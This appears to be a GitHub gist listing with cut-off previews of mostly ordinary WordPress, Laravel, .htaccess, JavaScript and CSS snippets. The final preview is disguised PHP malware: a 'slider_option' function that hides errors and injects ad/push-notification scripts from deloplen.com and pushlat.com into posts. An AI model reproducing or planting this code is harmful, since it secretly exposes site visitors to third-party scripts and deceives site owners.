This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace App\Models; | |
use Illuminate\Database\Eloquent\Factories\HasFactory; | |
use Illuminate\Database\Eloquent\Model; | |
class Note extends Model | |
{ | |
use HasFactory; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Protect wp-admin | |
AuthUserFile /dev/null | |
AuthGroupFile /dev/null | |
AuthName "WordPress Admin Access Control" | |
AuthType Basic | |
<LIMIT GET> | |
order deny,allow | |
deny from all | |
allow from 123.456.78.91 | |
allow from 112.131.41.16 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# BEGIN WordPress | |
# Las directivas (líneas) entre «BEGIN WordPress» y «END WordPress» son | |
# generadas dinámicamente y solo deberían ser modificadas mediante filtros de WordPress. | |
# Cualquier cambio en las directivas que hay entre esos marcadores serán sobrescritas. | |
<IfModule mod_rewrite.c> | |
RewriteEngine On | |
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] | |
RewriteBase / | |
RewriteRule ^index\.php$ - [L] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function my_text_strings( $translated_text, $text, $domain ) { | |
switch ( $translated_text ) { | |
case 'WooCommerce' : | |
$translated_text = __( 'Stall', 'woocommerce' ); | |
break; | |
} | |
return $translated_text; | |
} | |
add_filter( 'gettext', 'my_text_strings', 20, 3 ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
new WOW().init(); | |
(function($) { | |
$(".wow").each(function() { | |
var wowHeight = $(this).height(); | |
$(this).attr("data-wow-offset", wowHeight); | |
}); | |
})( jQuery ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
a[href$='#1585316574997-47b22a3d-49a9'] { | |
background: red !important; | |
color:#ffffff !important; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
** Shortcode [box_filter] | |
** Author: Met El Idrissi - https://www.metelidrissi.com | |
** Creates a box where you can filter by WooCommerce Categories. | |
** To use this shortcode follow this steps: | |
** 1 - Copy the entire copy and paste it inside your functions.pgp | |
** 2 - Open any page in your WordPress and paste the shortcode [box_filter] | |
** 3 - Remember to change the ID's for the respective ones you create on your WooCommerce Categories | |
**/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function smart_wordwrap($string, $width = 75, $break = "\n") { | |
// split on problem words over the line length | |
$pattern = sprintf('/([^ ]{%d,})/', $width); | |
$output = ''; | |
$words = preg_split($pattern, $string, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE); | |
foreach ($words as $word) { | |
if (false !== strpos($word, ' ')) { | |
// normal behaviour, rebuild the string | |
$output .= $word; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ini_set('display_errors', 0); | |
error_reporting(0); | |
$wp_auth_key='1234567897897895456'; | |
if ( ! function_exists( 'slider_option' ) ) { | |
function slider_option($content){ | |
if(is_single()){ | |
$con = ''; | |
$con2 = '<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2775135" async data-cfasync="false"></script> | |
<script src="//pushlat.com/ntfc.php?p=2775139" data-cfasync="false" async></script>'; |
NewerOlder